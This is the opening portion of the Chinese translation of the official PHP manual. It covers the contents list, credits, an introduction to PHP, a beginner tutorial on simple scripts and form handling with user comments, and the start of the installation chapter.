PHP 手册

by:
Mehdi Achour
Friedhelm Betz
Antony Dovgal
Nuno Lopes
Hannes Magnusson
Georg Richter
Damien Seguy
Jakub Vrana
其他贡献者
2023-12-16
Edited By: Peter Cowburn
中文翻译人员：
戴劼
乔楚
袁玉强
王远之
段小强
陈伯乐
周梦康
肖理达
肖盛文
褚兆玮
鲍国枭
鲁飞
© 1997-2023 PHP 文档组
  • 版权信息
  • PHP 手册
    • 序言
  • 入门指引
    • 简介
    • 简明教程
  • 安装与配置
    • 安装前需要考虑的事项
    • Unix 系统下的安装
    • macOS 系统下的安装
    • Windows 系统下的安装
    • 云计算平台上的安装
    • FastCGI 进程管理器（FPM）
    • PECL 扩展安装
    • 还有问题？
    • 运行时配置
  • 语言参考
    • 基本语法
    • 类型
    • 变量
    • 常量
    • 表达式
    • 运算符
    • 流程控制
    • 函数
    • 类与对象
    • 命名空间
    • 枚举
    • 错误
    • 异常
    • 纤程
    • 生成器
    • 注解
    • 引用的解释
    • 预定义变量
    • 预定义异常
    • 预定义接口和类
    • 预定义注解
    • 上下文（Context）选项和参数
    • 支持的协议和封装协议
  • 安全
    • 简介
    • 总则
    • 以 CGI 模式安装时
    • 以 Apache 模块安装时
    • 会话（Session）安全
    • 文件系统安全
    • 数据库安全
    • 错误报告
    • 用户提交的数据
    • 隐藏 PHP
    • 保持更新
  • 特点
    • 用 PHP 进行 HTTP 认证
    • Cookie
    • 会话
    • 处理 XForms
    • 文件上传处理
    • 使用远程文件
    • 连接处理
    • 持久数据库连接
    • PHP 的命令行模式
    • 垃圾回收
    • DTrace 动态跟踪
  • 函数参考
    • 影响 PHP 行为的扩展
    • 音频格式操作
    • 身份认证服务
    • 针对命令行的扩展
    • 压缩与归档扩展
    • 加密扩展
    • 数据库扩展
    • 日期与时间相关扩展
    • 文件系统相关扩展
    • 国际化与字符编码支持
    • 图像生成和处理
    • 邮件相关扩展
    • 数学扩展
    • 非文本内容的 MIME 输出
    • 进程控制扩展
    • 其它基本扩展
    • 其它服务
    • 搜索引擎扩展
    • 针对服务器的扩展
    • Session 扩展
    • 文本处理
    • 变量与类型相关扩展
    • Web 服务
    • Windows 专用扩展
    • XML 操作
    • 图形用户界面(GUI) 扩展
  • FAQ — FAQ：常见问题
    • General Information — 一般信息
    • 邮件列表
    • Obtaining PHP — 获取 PHP
    • Database issues — 数据库问题
    • 安装 — 安装常见问题
    • 编译问题
    • 使用 PHP
    • Password Hashing — 密码散列安全
    • PHP and HTML — PHP 和 HTML
    • PHP and COM — PHP 和 COM
    • 其他问题
  • 附录
    • PHP 及其相关项目的历史
    • 从 PHP 8.2.x 移植到 PHP 8.3.x
    • 从 PHP 8.1.x 移植到 PHP 8.2.x
    • 从 PHP 8.0.x 移植到 PHP 8.1.x
    • 从 PHP 7.4.x 移植到 PHP 8.0.x
    • 从 PHP 7.3.x 移植到 PHP 7.4.x
    • 从 PHP 7.2.x 移植到 PHP 7.3.x
    • 从 PHP 7.1.x 移植到 PHP 7.2.x
    • 从 PHP 7.0.x 移植到 PHP 7.1.x
    • 从 PHP 5.6.x 移植到 PHP 7.0.x
    • 从 PHP 5.5.x 移植到 PHP 5.6.x
    • PHP 的调试
    • 配置选项
    • php.ini 配置
    • 扩展库列表／归类
    • 函数别名列表
    • 保留字列表
    • 资源类型列表
    • 可用过滤器列表
    • 所支持的套接字传输器列表
    • PHP 类型比较表
    • 解析器记号（token）列表
    • 用户空间命名指南
    • 关于本手册
    • Creative Commons Attribution 3.0
    • 索引
    • 更新日志
  • CHM 版本
    • 关于此版本
    • Using PHP Manual CHM Edition
    • The Full Text Search
    • Integrating the PHP Manual

User Contributed Notes

There are no user contributed notes for this page.


版权信息

Copyright © 1997 - 2023，PHP 文档组版权所有。发行本资料必须服从 Creative Commons Attribution 3.0 或更新版许可中阐明的条款及条件。Creative Commons Attribution 3.0 license 的副本已随本手册发行。其最新版本位于 » http://creativecommons.org/licenses/by/3.0/。

如有兴趣再发行或再版此文档的全部或部分内容，不论修改过与否，或有任何问题，请联系版权所有者 » doc-license@lists.php.net。注意，本地址映射到一个公开归档的邮件列表。

User Contributed Notes

There are no user contributed notes for this page.


PHP 手册

  • 序言

User Contributed Notes

There are no user contributed notes for this page.


序言

PHP，即"PHP: Hypertext Preprocessor"，是一种被广泛应用的开源通用脚本语言，尤其适用于 Web 开发并可嵌入 HTML 中去。它的语法利用了 C、Java 和 Perl，易于学习。该语言的主要目标是允许 web 开发人员快速编写动态生成的 web 页面，但 PHP 的用途远不只于此。

本手册内容主要由函数参考构成，但也包含了语言参考，PHP 一些主要产品特点的说明以及其它补充信息。

可在 » https://www.php.net/download-docs.php 下载此手册的各种格式。更多关于如何开发本手册的信息可参阅附录："关于本手册"。如果你对 PHP 的历史感兴趣，可访问相关附录。

作者与贡献者

在手册的首页上仅突出了目前最活跃的人员，但还有更多的贡献者正在帮助我们工作或在过去给项目提供过巨大的帮助。有许多不知名的人帮助在手册中写下用户评论，并不断地包含在参考中，也很感谢他们的努力。下面所提供的列表均以字母顺序排序。

作者与编辑

下列人员曾经或者目前正在为本手册添砖加瓦： Bill Abt, Jouni Ahto, Alexander Aulbach, Stig Bakken, George Peter Banyard, Christoph M. Becker, Daniel Beckham, Nilgün Belma Bugüner, Jesus M. Castagnetto, Ron Chmara, Sean Coates, John Coggeshall, Simone Cortesi, Peter Cowburn, Daniel Egeberg, Markus Fischer, Wez Furlong, Sara Golemon, Rui Hirokawa, Brad House, Pierre-Alain Joye, Etienne Kneuss, Moriyoshi Koizumi, Rasmus Lerdorf, Andrew Lindeman, Stanislav Malyshev, Justin Martin, Rafael Martinez, Rick McGuire, Moacir de Oliveira Miranda Júnior, Kalle Sommer Nielsen, Yasuo Ohgaki, Philip Olson, Richard Quadling, Derick Rethans, Rob Richards, Sander Roobol, Egon Schmid, Thomas Schoefbeck, Sascha Schumann, Dan Scott, Masahiro Takagi, Yoshinari Takaoka, Yannick Torres, Michael Wallner, Lars Torben Wilson, Jim Winstead, Jeroen van Wolffelaar 和 Andrei Zmievski.

下列人员对本手册做了相当数量的编辑工作： Stig Bakken, Gabor Hojtsy, Hartmut Holzgraefe, Philip Olson 和 Egon Schmid.

用户评论维护者

目前最活跃的维护者是： Daniel Brown, Nuno Lopes, Felipe Pena, Thiago Pojda 和 Maciek Sokolewicz.

下列人员为维护用户评论作出了巨大的努力: Mehdi Achour, Daniel Beckham, Friedhelm Betz, Victor Boivie, Jesus M. Castagnetto, Nicolas Chaillan, Ron Chmara, Sean Coates, James Cox, Vincent Gevers, Sara Golemon, Zak Greant, Szabolcs Heilig, Oliver Hinckel, Hartmut Holzgraefe, Etienne Kneuss, Rasmus Lerdorf, Matthew Li, Andrew Lindeman, Aidan Lister, Hannes Magnusson, Maxim Maletsky, Bobby Matthis, James Moore, Philip Olson, Sebastian Picklum, Derick Rethans, Sander Roobol, Damien Seguy, Jason Sheets, Tom Sommer, Jani Taskinen, Yasuo Ohgaki, Jakub Vrana, Lars Torben Wilson, Jim Winstead, Jared Wyles 和 Jeroen van Wolffelaar.

中文翻译外部支持团队

PHP 手册中文翻译工作是一项长期而又艰巨的工作。如果您有兴趣加入，请参阅 » 中文手册翻译指南。

中文翻译贡献者名单

感谢以下贡献者为 PHP 中文翻译工作做出的贡献： Jiania（洪建家）、verdana（穆少磊）、Gregory（宋琪）、黄啸宇、 codingall.com（赵磊）、cuimuxi（崔玉松）、cztviztor、gaojian1226、HaoHappy（陈浩）、HonestQiao（乔楚）、 kendotom、lgg860911、loosen.copen、miusun01（李鼎峰）、ping3608、r.anerg（罗翀）、suppersoft（paris.wang） 、 fising（王祥中）、wind.golden（陈金）、Luffy（鲁飞）。

User Contributed Notes

There are no user contributed notes for this page.


入门指引

  • 简介
    • PHP 是什么？
    • PHP 能做什么？
  • 简明教程
    • 需要些什么？
    • 第一个 PHP 页面
    • 实用的脚本
    • 处理表单
    • 下一步做什么？

User Contributed Notes

There are no user contributed notes for this page.


简介

Table of Contents

  • PHP 是什么？
  • PHP 能做什么？

User Contributed Notes

There are no user contributed notes for this page.


PHP 是什么？

PHP（"PHP: Hypertext Preprocessor"，超文本预处理器的字母缩写）是一种被广泛应用的开放源代码的多用途脚本语言，它可嵌入到 HTML中，尤其适合 web 开发。

以上是一个简单的回答，不过这是什么意思呢？请看如下例子：

Example #1 一个介绍性的范例

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>

<?php
echo "Hi, I'm a PHP script!";
?>

</body>
</html>

请注意这个范例和其它用 C 或 Perl 语言写的脚本之间的区别——与用大量的命令来编写程序以输出 HTML 不同的是，PHP 页面就是 HTML，只不过在其中嵌入了一些代码来做一些事情（在本例中输出了 "Hi, I'm a PHP script!"）。PHP 代码被包含在特殊的起始符和结束符 <?php 和 ?> 中，使得可以进出"PHP 模式"。

和客户端的 JavaScript 不同的是，PHP 代码是运行在服务端的。如果在服务器上建立了如上例类似的代码，则在运行该脚本后，客户端就能接收到其结果，但他们无法得知其背后的代码是如何运作的。甚至可以将 web 服务器设置成让 PHP 来处理所有的 HTML 文件，这么一来，用户就无法得知服务端到底做了什么。

使用 PHP 的最大的好处是它对于初学者来说极其简单，同时也给专业的程序员提供了各种高级的特性。当看到 PHP 长长的特性列表时，请不要害怕。可以很快的入门，只需几个小时就可以自己写一些简单的脚本。

尽管 PHP 的开发是以服务端脚本为目的，但事实上其功能远不局限与此。请继续读后面的章节，在"PHP 能做什么"一节中将获得更多的信息。如果对 web 编程感兴趣，也可以阅读简明教程。

User Contributed Notes

There are no user contributed notes for this page.


PHP 能做什么？

PHP 能做任何事。PHP 主要是用于服务端的脚本程序，因此可以用 PHP 来完成任何其它的 CGI 程序能够完成的工作，例如收集表单数据，生成动态网页，或者发送／接收 Cookies。但 PHP 的功能远不局限于此。

PHP 脚本主要用于以下三个领域：

  • 服务端脚本。这是 PHP 最传统，也是最主要的目标领域。开展这项工作需要具备以下三点：PHP 解析器（CGI 或者服务器模块）、web 服务器和 web 浏览器。需要在运行 web 服务器时，安装并配置 PHP，然后，可以用 web 浏览器来访问 PHP 程序的输出，即浏览服务端的 PHP 页面。如果只是实验 PHP 编程，所有的这些都可以运行在自己家里的电脑中。请查阅安装一章以获取更多信息。
  • 命令行脚本。可以编写一段 PHP 脚本，并且不需要任何服务器或者浏览器来运行它。通过这种方式，仅仅只需要 PHP 解析器来执行。这种用法对于依赖 cron（Unix 或者 Linux 环境）或者 Task Scheduler（Windows 环境）的日常运行的脚本来说是理想的选择。这些脚本也可以用来处理简单的文本。请参阅 PHP 的命令行模式以获取更多信息。
  • 编写桌面应用程序。对于有着图形界面的桌面应用程序来说，PHP 或许不是一种最好的语言，但是如果用户非常精通 PHP，并且希望在客户端应用程序中使用 PHP 的一些高级特性，可以利用 PHP-GTK 来编写这些程序。用这种方法，还可以编写跨平台的应用程序。PHP-GTK 是 PHP 的一个扩展，在通常发布的 PHP 包中并不包含它。如果对 PHP-GTK 感兴趣，请访问其» 网站以获取更多信息。

PHP 能够在所有的主流操作系统上使用，包括 Linux、Unix 的各种变种（包括 HP-UX、Solaris 和 OpenBSD）、Microsoft Windows、macOS、RISC OS 等。今天，PHP已经支持了大多数的 web 服务器，包括 Apache、Microsoft Internet Information Server（IIS）、Personal Web Server（PWS）、Netscape 以及 iPlant server、Oreilly Website Pro Server、Caudium、Xitami、OmniHTTPd 等。对于大多数的服务器，PHP 提供了一个模块；还有一些 PHP 支持 CGI 标准，使得 PHP 能够作为 CGI 处理器来工作。

综上所述，使用 PHP，可以自由地选择操作系统和 web 服务器。同时，还可以在开发时选择使用面对过程和面对对象，或者两者混和的方式来开发。尽管 PHP 4 不支持 OOP 所有的标准，但很多代码仓库和大型的应用程序（包括 PEAR 库）仅使用 OOP 代码来开发。PHP 5 弥补了 PHP 4 的这一弱点，引入了完全的对象模型。

使用 PHP，并不局限于输出 HTML。PHP 的能力还包含输出富文本类型，比如图像或者 PDF 文件、加密数据和发送邮件。还能够非常简便的输出文本，例如 JSON 或 XML。PHP 能够自动生成这些文件，在服务端开辟出一块动态内容的缓存，可以直接把它们打印出来，或者将它们存储到文件系统中。

PHP 最强大最显著的特性之一，是它支持很大范围的数据库。使用任何针对某数据库的扩展（例如 mysql）编写数据库支持的网页非常简单，或者使用抽象层如 PDO，或者通过 ODBC 扩展连接到任何支持 ODBC 标准的数据库。其它一些数据库也可能会用 cURL 或者 sockets，例如 CouchDB。

PHP 还支持利用诸如 LDAP、IMAP、SNMP、NNTP、POP3、HTTP、COM（Windows 环境）等不计其数的协议的服务。还可以开放原始网络端口，使得任何其它的协议能够协同工作。PHP 支持和所有 web 开发语言之间的 WDDX 复杂数据交换。关于相互连接，PHP 已经支持了对 Java 对象的即时连接，并且可以透明地将其用作 PHP 对象。

PHP 具有极其有效的文本处理特性，包括 Perl 兼容正则表达式（PCRE）以及许多扩展和工具可用于解析和访问 XML 文档。PHP 将所有的 XML 功能标准化于坚实的 libxml2 扩展，并且还增加了 SimpleXML，XMLReader 以及 XMLWriter 支持以扩充其功能。

另外，还有很多其它有趣的扩展库，在此根据字母和分类归类列出。还有一些附加的 PECL 扩展 可能有也可能没有在 PHP 手册中列出，例如 » XDebug。

由于在这里无法列出 PHP 所有的特性和可提供的便利，请参阅安装以及函数参考有关章节以获取关于这里提到的扩展库更多的信息。

User Contributed Notes

There are no user contributed notes for this page.


简明教程

Table of Contents

  • 需要些什么？
  • 第一个 PHP 页面
  • 实用的脚本
  • 处理表单
  • 下一步做什么？

本章将给出关于 PHP 的简明教程。虽然 PHP 的功能并不局限于生成动态的 web 页面，但本章的内容仅涉及于此。请查阅"PHP 能做什么"一节以获取更多信息。

使用了 PHP 的 web 页面将被和通常的 HTML 页面一样处理，可以用通常建立 HTML 页面的方法来建立和编辑它们。

User Contributed Notes

There are no user contributed notes for this page.


需要些什么？

在本教程中，假设用户的服务器已经安装并运行了 PHP，所有以 .php 结尾的文件都将由 PHP 来处理。在大部分的服务器上， 这是 PHP 的默认扩展名，不过，也请询问服务器管理员以确认。如果服务器支持 PHP ，则不需要做任何事情。只用建立 .php 文件，并把它们放置 到 web 目录中，服务器将神奇地自动解析这些文件。不用编译任何东西，也不用安装 任何其它的工具，仅仅只需把这些使用了 PHP 的文件想象成简单的 HTML 文件，其中 只不过多了一种新的标识符，在这里可以做各种各样的事情。

假设用户希望在本地机器开发以节约宝贵的带宽。在这种情况下，需要安装一个诸如 » Apache 的 web 服务器，当然还有 » PHP。可能还希望安装一个数据库，例如 » MySQL。

可以一个个的安装它们或选择一个更简单的方法。可以参考本手册中 PHP 安装说明的相关章节（假设已经配置好了某个 web 服务器）。若在自己安装 PHP 时出现了问题，建议在» 安装邮件列表中询问。如果想使用更简便的方法安装 PHP，那么可以考虑» 获取一个预先配置的安装包，用这个安装包，只用点击几下鼠标，就可以自动地安装所有这些系统。在任何操作系统下建立有 PHP 支持的 web 服务器都十分简单，包括 MacOSX、Linux 和 Windows。在 Linux 下，会发现 » rpmfind 和 » PBone 能够在获取 RPM 时提供帮助。也可以使用 » apt-get 搜索 Debian 的相关软件包。

User Contributed Notes

There are no user contributed notes for this page.


第一个 PHP 页面

在 web 服务器根目录（DOCUMENT_ROOT）下建立一个文件名为 hello.php，然后完成如下内容：

Example #1 第一个 PHP 脚本：hello.php

<!DOCTYPE html>
<html>
<head>
<title>PHP Test</title>
</head>
<body>
<?php echo '<p>Hello World</p>'; ?>
 </body>
</html>

在浏览器的地址栏里输入 web 服务器的 URL 访问这个文件，在结尾加上"/hello.php"。如果本地开发，那么这个 URL 一般是 http://localhost/hello.php 或者 http://127.0.0.1/hello.php，当然这取决于 web 服务器的设置。如果所有的设置都正确，那么这个文件将被 PHP 解析，浏览器中将会输出如下结果：

<!DOCTYPE html>
<html>
    <head>
        <title>PHP Test</title>
    </head>
    <body>
        <p>Hello World</p>
    </body>
</html>

该程序非常的简单，它仅仅只是利用了 PHP 的 echo 语句显示了 Hello World。用户一定不会满足与此。请注意该文件无需被执行或以任何方式指定。服务器会找到该文件并提供给 PHP 进行解释，因为使用了".php"的扩展名，服务器已被配置成自动传递有着".php"扩展名的文件给 PHP。一个普通的 HTML 文件，加上了几个特别的标签，就可以做很多非常有趣的事情！

如果试过了这个例子，但是没有得到任何输出，或者浏览器弹出了下载框，或者浏览器以文本方式显示了源文件，可能的原因是服务器还没有支持 PHP，或者没有正确配置。需要请服务器的管理员根据本手册"安装"一章的内容使得服务器支持 PHP。如果本地开发，请阅读手册有关安装的章节以确保所有的设置都正确。还要确认通过浏览器访问的 URL 确实指向了服务器上的这个文件。如果只是从本地文件系统调用这个文件，它不会被 PHP 解析。如果问题仍然存在，请通过 » PHP 在线支持中的各种方式获取帮助。

以上例子的目的是为了显示 PHP 特殊标识符的格式。在这个例子中，用 <?php 来表示 PHP 标识符的起始，然后放入 PHP 语句并通过加上一个终止标识符 ?> 来退出 PHP 模式。可以根据自己的需要在 HTML 文件中像这样开启或关闭 PHP 模式。请参阅手册中"PHP 基本语法"以获取更多信息。

Note: 关于换行

尽管换行在 HTML 中的实际意义不是很大，但适当地使用换行可以使 HTML 代码易读且美观。PHP 会在输出时自动删除其结束符 ?> 后的一个换行。该功能主要是针对在一个页面中嵌入多段 PHP 代码或者包含了无实质性输出的 PHP 文件而设计，与此同时也造成了一些疑惑。如果需要在 PHP 结束符 ?> 之后输出换行的话，可以在其后加一个空格，或者在最后的一个 echo/print 语句中加入一个换行。

Note: 关于文本编辑器

有很多文本编辑器以及集成开发环境（IDE）可以被用来建立、编辑和管理 PHP 文件。这些工具中的一部分被列在 » PHP 编辑器列表中。如果希望推荐其它的编辑器，请访问以上页面，并要求该页面的维护者将你推荐的编辑器加入到该列表中。使用支持语法高亮功能的编辑器会给开发带来很多帮助。

Note: 关于文字处理器

诸如 StarOffice Writer、Microsoft Word 和 Abiword 的文字处理器不适合用来编辑 PHP 程序。如果希望用以上这些工具的某一种来处理脚本，必须保证将结果存成了纯文本格式，否则 PHP 将无法读取并运行这些脚本。

现在已经成功建立了一个简单的 PHP 脚本，那么再来建立一个最著名的 PHP 脚本！调用函数 phpinfo()，将会看到很多有关自己系统的有用信息，例如预定义变量、已经加载的 PHP 模块和配置信息。请花一些时间来查看这些重要的信息。

Example #2 从 PHP 获取系统信息

<?php phpinfo(); ?>

User Contributed Notes

There are no user contributed notes for this page.


实用的脚本

现在来编写一些更实用的脚本，比如检查浏览页面的访问者在用什么浏览器。要达到这个目的，需要检查用户的 agent 字符串，它是浏览器发送的 HTTP 请求的一部分。该信息被存储在一个变量中。在 PHP 中，变量总是以一个美元符开头。我们现在感兴趣的变量是 $_SERVER['HTTP_USER_AGENT']。

Note:

$_SERVER 是一个特殊的 PHP 保留变量，它包含了 web 服务器提供的所有信息，被称为超全局变量。请查阅本手册"超全局变量"中的有关内容以获取更多信息。

要显示该变量，只需简单地进行如下操作：

Example #1 打印一个变量（数组元素）

<?php
echo $_SERVER['HTTP_USER_AGENT'];
?>

该脚本的输出可能是：

Mozilla/5.0 (Linux) Firefox/112.0

PHP 有多种不同类型的变量。以上例子是从 Array 变量中打印了一个元素。数组非常有用。

$_SERVER 只是 PHP 自动全局化的变量之一。可以查阅"预定义变量"一节来查看这些变量的列表，或者也可以通过上节例子中 phpinfo() 函数的输出来查看。

可以在一个 PHP 标识中加入多个 PHP 语句，也可以建立一个代码块来做比简单的 echo 更多的事情。例如，如果需要检测 Firefox，可以进行如下操作：

Example #2 流程控制与函数的使用

<?php
if (str_contains($_SERVER['HTTP_USER_AGENT'], 'Firefox')) {
echo 'You are using Firefox.';
}
?>

该脚本的输出可能是：

You are using Firefox.

这里要介绍一些新的原理。上面用了一个 if 语句。如果用户对 C 语言的基本语法比较熟悉，则应该对此很熟悉，否则，可能需要拿起任何一本 PHP 介绍性的书籍并阅读前面的两三个章节，或者也可以阅读本手册的"语言参考"一章。

需要介绍的第二个原理，是对 str_contains() 函数的调用。str_contains() 是 PHP 的一个内置函数，其功能是确定指定字符串是否包含其它字符串。例如我们现在需要在 $_SERVER['HTTP_USER_AGENT']（即所谓的 haystack）变量中寻找 'Firefox'。如果在这个 haystack 中该字符串（即所谓的 needle）被找到（"草里寻针"），则函数返回 true；如果没有，则返回 false。如果返回 true，则 if 会将条件判断为 true 并运行其花括号 {} 内的代码；否则，则不运行这些代码。可以自己尝试利用 if，else 以及其它的函数如 strtoupper() 和 strlen() 来建立类似的脚本。在本手册中相关的页面也包含有范例。如果对如何使用函数不是很确定，可以阅读手册中有关"如何阅读函数的定义"和"函数"的有关章节。

以下我们进一步显示如何进出 PHP 模式，甚至是在一个 PHP 代码块的中间：

Example #3 混和 HTML 和 PHP 模式

<?php
if (str_contains($_SERVER['HTTP_USER_AGENT'], 'Firefox')) {
?>
<h3>str_contains() returned true</h3>
<p>You are using Firefox</p>
<?php
} else {
?>
<h3>str_contains() returned false</h3>
<p>You are not using Firefox</p>
<?php
}
?>

该脚本的输出可能是：

<h3>str_contains() returned true</h3>
<p>You are using Firefox</p>

和使用 PHP echo 语句输出不同的是，以上示例跳出了 PHP 模式直接发送 HTML。这里需要特别注意的一点是脚本的逻辑流保持不变。根据 str_contains() 的结果，只会有一个 HTML 块将发送给浏览者。换句话说，取决于是否找到字符串 Firefox。

User Contributed Notes

Evan Z 24-Jul-2021 03:17
Hi. Edge is a different browser from IE. You cannot use the condition to judge it is an Internet Explorer. On the contrary, it means this is an Edge browser.

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Edg') !== FALSE {
     echo 'You are using Edge.<br />';
 }
?>
Declan Kelly 22-May-2014 12:03
Please note that Internet Explorer 11 no longer contains MSIE in its user agent string, for example on Windows 8 with IE11 I get the following:

Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko

So if you want to include a test for IE11, the code above changes to:

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE ||
    strpos($_SERVER['HTTP_USER_AGENT'], 'Trident') !== FALSE) {
    echo 'You are using Internet Explorer.<br />';
}
?>


处理表单

PHP 一个很有用的特点体现在它处理 PHP 表单的方式。需要理解的非常重要的原理，是表单的任何元素都在 PHP 脚本中自动生效。请参阅本手册中"PHP 的外部变量"以获取关于在 PHP 中使用表单的详细信息及范例。以下是 HTML 表单的范例：

Example #1 一个简单的 HTML 表单

<form action="action.php" method="post">
    <label for="name">Your name:</label>
    <input name="name" id="name" type="text">

    <label for="age">Your age:</label>
    <input name="age" id="age" type="number">

    <button type="submit">Submit</button>
</form>

该表单中并没有什么特殊的地方，其中没有使用任何特殊的标识符。当用户填写了该表单并点击了提交按钮，页面 action.php 将被调用。在该文件中，可以加入如下内容：

Example #2 打印来自表单的数据

你好，<?php echo htmlspecialchars($_POST['name']); ?>。
你 <?php echo (int)$_POST['age']; ?> 岁了。

该脚本的输出可能是：

你好，Joe。你 22 岁了。

除了htmlspecialchars() 和 (int) 部分，这段程序做什么用显而易见。htmlspecialchars() 使得 HTML 之中的特殊字符被正确的编码，从而不会被使用者在页面注入 HTML 标签或者 Javascript 代码。例如 age 字段，我们明确知道他是一个数值，因此我们将它转换为一个int来自动的消除任何不必要的字符。也可以使用 PHP 的 filter 扩展来自动完成该工作。PHP 将自动设置 $_POST['name'] 和 $_POST['age'] 变量。在这之前我们使用了超全局变量 $_SERVER，现在我们引入了超全局变量 $_POST，它包含了所有的 POST 数据。请注意我们的表单提交数据的方法（method）。如果使用了 GET 方法，那么表单中的信息将被储存到超全局变量 $_GET 中。如果并不关心请求数据的来源，也可以用超全局变量 $_REQUEST，它包含了所有 GET、POST、COOKIE 和 FILE 的数据。

也可以在 PHP 中处理 XForms 的输入，尽管用户可能更喜欢使用长久以来支持良好的 HTML 表单。XForms 目前还不适合初学者使用，但是用户可能对它感兴趣。手册中在"特点"一章有一节对如何处理从 XForum 接收到的数据进行了简短的介绍。

User Contributed Notes

nucc1 12-Jun-2017 08:24
worth clarifying:

POST is not more secure than GET.

The reasons for choosing GET vs POST involve various factors such as intent of the request (are you "submitting" information?), the size of the request (there are limits to how long a URL can be, and GET parameters are sent in the URL), and how easily you want the Action to be shareable -- Example, Google Searches are GET because it makes it easy to copy and share the search query with someone else simply by sharing the URL.

Security is only a consideration here due to the fact that a GET is easier to share than a POST. Example: you don't want a password to be sent by GET, because the user might share the resulting URL and inadvertently expose their password.

However, a GET and a POST are equally easy to intercept by a well-placed malicious person if you don't deploy TLS/SSL to protect the network connection itself.

All Forms sent over HTTP (usually port 80) are insecure, and today (2017), there aren't many good reasons for a public website to not be using HTTPS (which is basically HTTP + Transport Layer Security).

As a bonus, if you use TLS  you minimise the risk of your users getting code (ADs) injected into your traffic that wasn't put there by you.
Johann Gomes (johanngomes at gmail dot com) 11-Oct-2010 07:20
Also, don't ever use GET method in a form that capture passwords and other things that are meant to be hidden.
sethg at ropine dot com 01-Dec-2003 12:55
According to the HTTP specification, you should use the POST method when you're using the form to change the state of something on the server end. For example, if a page has a form to allow users to add their own comments, like this page here, the form should use POST. If you click "Reload" or "Refresh" on a page that you reached through a POST, it's almost always an error -- you shouldn't be posting the same comment twice -- which is why these pages aren't bookmarked or cached.

You should use the GET method when your form is, well, getting something off the server and not actually changing anything.  For example, the form for a search engine should use GET, since searching a Web site should not be changing anything that the client might care about, and bookmarking or caching the results of a search-engine query is just as useful as bookmarking or caching a static HTML page.


下一步做什么？

用现在掌握的知识，应该能够理解本手册中的大部分内容以及其中各式各样的脚本范例。

请查阅 PHP Conference 资料网站 » http://talks.php.net/ 以观看更多幻灯片，这些幻灯片展示了许多 PHP 其它的功能。

User Contributed Notes

There are no user contributed notes for this page.


安装与配置

  • 安装前需要考虑的事项
  • Unix 系统下的安装
    • Unix 系统下的 Apache 2.x
    • Unix 系统下的 Nginx 1.4.x
    • Unix 平台的 Lighttpd 1.4
    • Unix 系统下的 LiteSpeed、OpenLiteSpeed Web 服务器
    • CGI 和命令行设置
    • 在 OpenBSD 系统下的安装
    • 针对 Solaris 的安装提示
    • Debian GNU/Linux 安装说明
  • macOS 系统下的安装
    • 使用软件包
    • 使用 macOS Monterey 之前内置的 PHP
    • 在 macOS 下编译 PHP
  • Windows 系统下的安装
    • 环境要求
    • PECL
    • Windows 下的 PHP 安装程序工具
    • Windows 系统下的推荐配置
    • 在 Windows 上手动安装 PHP
    • 从源程序编译
    • PHP 在 Microsoft Windows 下的命令行方式
    • Microsoft Windows 下的 Apache 2.x
    • Windows 下 PHP 故障排除
  • 云计算平台上的安装
    • Azure 应用服务
    • Amazon EC2
  • FastCGI 进程管理器（FPM）
    • 安装
    • 配置
  • PECL 扩展安装
    • PECL 安装介绍
    • 下载 PECL 扩展库
    • 在 Windows 上安装 PHP 扩展
    • 用 PEAR 编译共享 PECL 扩展库
    • 用 phpize 编译共享 PECL 扩展库
    • php-config
    • 将 PECL 扩展库静态编译入 PHP
  • 还有问题？
    • 阅读 FAQ
    • 其它问题
    • 错误报告
  • 运行时配置
    • 配置文件
    • .user.ini 文件
    • 配置可被设定范围
    • 怎样修改配置设定

User Contributed Notes

There are no user contributed notes for this page.


安装前需要考虑的事项

安装前，首先需要知道想用 PHP 来做什么。PHP 主要用在三个领域，分别在 PHP 能做什么 一节中进行了描述：

  • 网站和 web 应用程序（服务器端脚本）
  • 命令行脚本
  • 桌面（GUI）应用程序

在通常情况下，需要三样东西：PHP 自身、一个 web 服务器和一个 web 浏览器。通常你已经拥有了一个 web 浏览器，并且在你使用的操作系统中，也可能已经内置了 web 服务器（例如 Linux 和 macOS 下的 Apache；Windows 下的 IIS）。也许在某个公司租用了 web 空间（虚拟主机、VPS 等），这样，自己无需设置任何东西，仅需要编写 PHP 脚本，并上传到租用的空间中，然后在浏览器中查看结果。

如果需要自己配置服务器和 PHP，有两个方法将 PHP 连接到服务器上。对于很多服务器，PHP 均有一个直接的模块接口（也叫做 SAPI）。这些服务器包括 Apache、Microsoft Internet Information Server、Netscape 和 iPlanet 等服务器。如果你使用的 web 服务器不支持 PHP 模块接口，还可以将其作为 CGI 或 FastCGI 处理器来使用。这意味着可以使用 PHP 的 CGI 可执行程序来处理所有服务器上的 PHP 文件请求。

如果你对 PHP 命令行脚本感兴趣（例如在离线状态下，根据传递给脚本的参数，自动生成一些图片，或处理一些文本文件），可以参考 PHP 在命令行模式下的使用 章节。在这种情况下，不再需要 web 服务器和 web 浏览器支持。

还可以用 PHP 的 PHP-GTK 扩展来编写桌面图形界面应用程序。这与编写 web 页面完全不同，因为无需输出任何 HTML，而要管理窗口和窗口中的对象。关于 PHP-GTK 的更多信息，请访问 » PHP-GTK 扩展官网。PHP-GTK 没有包含在官方发布的 PHP 中。

本节开始介绍如何在 Unix 和 Windows 的 web 服务器中配置服务器模块接口和 CGI 可执行程序。也将在下面几节中了解到有关命令行可执行程序安装的信息。

PHP 源代码包和二进制包可以在以下链接获取 » https://www.php.net/downloads.php。

User Contributed Notes

There are no user contributed notes for this page.


Unix 系统下的安装

Table of Contents

  • Unix 系统下的 Apache 2.x
  • Unix 系统下的 Nginx 1.4.x
  • Unix 平台的 Lighttpd 1.4
  • Unix 系统下的 LiteSpeed、OpenLiteSpeed Web 服务器
  • CGI 和命令行设置
  • 在 OpenBSD 系统下的安装
  • 针对 Solaris 的安装提示
  • Debian GNU/Linux 安装说明

本节将指导如何在 Unix 系统下安装和配置 PHP。在开始安装之前，请务必研究自己使用的系统和 web 服务器的相关章节。

在安装前需要考虑的事项一节提到，在本节主要以 web 为中心介绍 PHP 的设置。不过本节也会覆盖一些 PHP 命令行用法的设置方法。

